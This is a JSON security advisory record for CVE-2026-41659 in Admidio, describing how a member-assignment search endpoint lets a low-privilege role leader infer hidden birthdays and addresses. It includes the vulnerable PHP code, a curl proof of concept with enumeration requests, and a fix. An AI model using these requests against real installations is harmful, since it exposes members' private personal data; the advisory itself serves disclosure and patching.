{"id":"CVE-2026-41659","aliases":["GHSA-68pr-7prh-mpv4"],"url":"https://o3.security/vulnerability/CVE-2026-41659","summary":"Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment","details":"## Summary\n\nThe member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.\n\n## Details\n\nThe search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n    'COALESCE(birthday, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(street, \\' \\')',      // hidden field - no visibility check\n    'COALESCE(city, \\' \\')',        // hidden field - no visibility check\n    'COALESCE(zip_code, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(country, \\' \\')'      // hidden field - no visibility check\n);\n```\n\nThese columns are concatenated into a SQL LIKE search at line 139:\n\n```php\n$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\\'%\\', ' . $searchValue . ', \\'%\\')) ';\n```\n\nThe SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262:\n\n```php\n$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...\n      FROM (' . $mainSql . ') AS members\n       ' . $searchCondition . $orderCondition . $limitCondition;\n```\n\nThe output visibility checks at lines 291-335 correctly call `$gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.\n\nThe authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights\n# - BIRTHDAY field is configured as hidden (usf_hidden = 1)\n# - Target role has a known UUID\n\n# Step 1: Baseline - get all members without search filter\ncurl -b 'PHPSESSID=<session>' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='\n\n# Response: returns all users. Birthday column is NOT in output (hidden).\n# Note recordsFiltered count.\n\n# Step 2: Search for a specific birthday value\ncurl -b 'PHPSESSID=<session>' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'\n\n# Response: only users whose hidden birthday matches \"1990-03-15\" appear.\n# Birthday column is still NOT in output, but result set is filtered by it.\n# User names (always visible) reveal which users have that birthday.\n\n# Step 3: Enumerate hidden street addresses\ncurl -b 'PHPSESSID=<session>' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'\n\n# Response: only users living at \"123 Main St\" appear in results.\n# Address fields are hidden in output but the search matched against them.\n```\n\n## Impact\n\nA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:\n\n- **Birthdays** — exact date of birth for any user\n- **Street addresses** — full street address\n- **Cities and postal codes** — location information\n- **Countries** — nationality/residence\n\nThis is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.\n\n## Recommended Fix\n\nFilter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n);\n\n$isAdmin = $gCurrentUser->isAdministratorUsers();\nif ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(birthday, \\' \\')';\n}\nif ($gProfileFields->isVisible('STREET', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(street, \\' \\')';\n}\nif ($gProfileFields->isVisible('CITY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(city, \\' \\')';\n}\nif ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(zip_code, \\' \\')';\n}\nif ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(country, \\' \\')';\n}\n```\n\nThis ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.","published":"2026-05-07T02:59:19.870Z","modified":"2026-08-12T03:51:21.199783382Z","cvss":{"score":2.7,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00258,"percentile":0.17526,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":"5.0.9"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"},{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41659.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41659"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.199783382Z"}}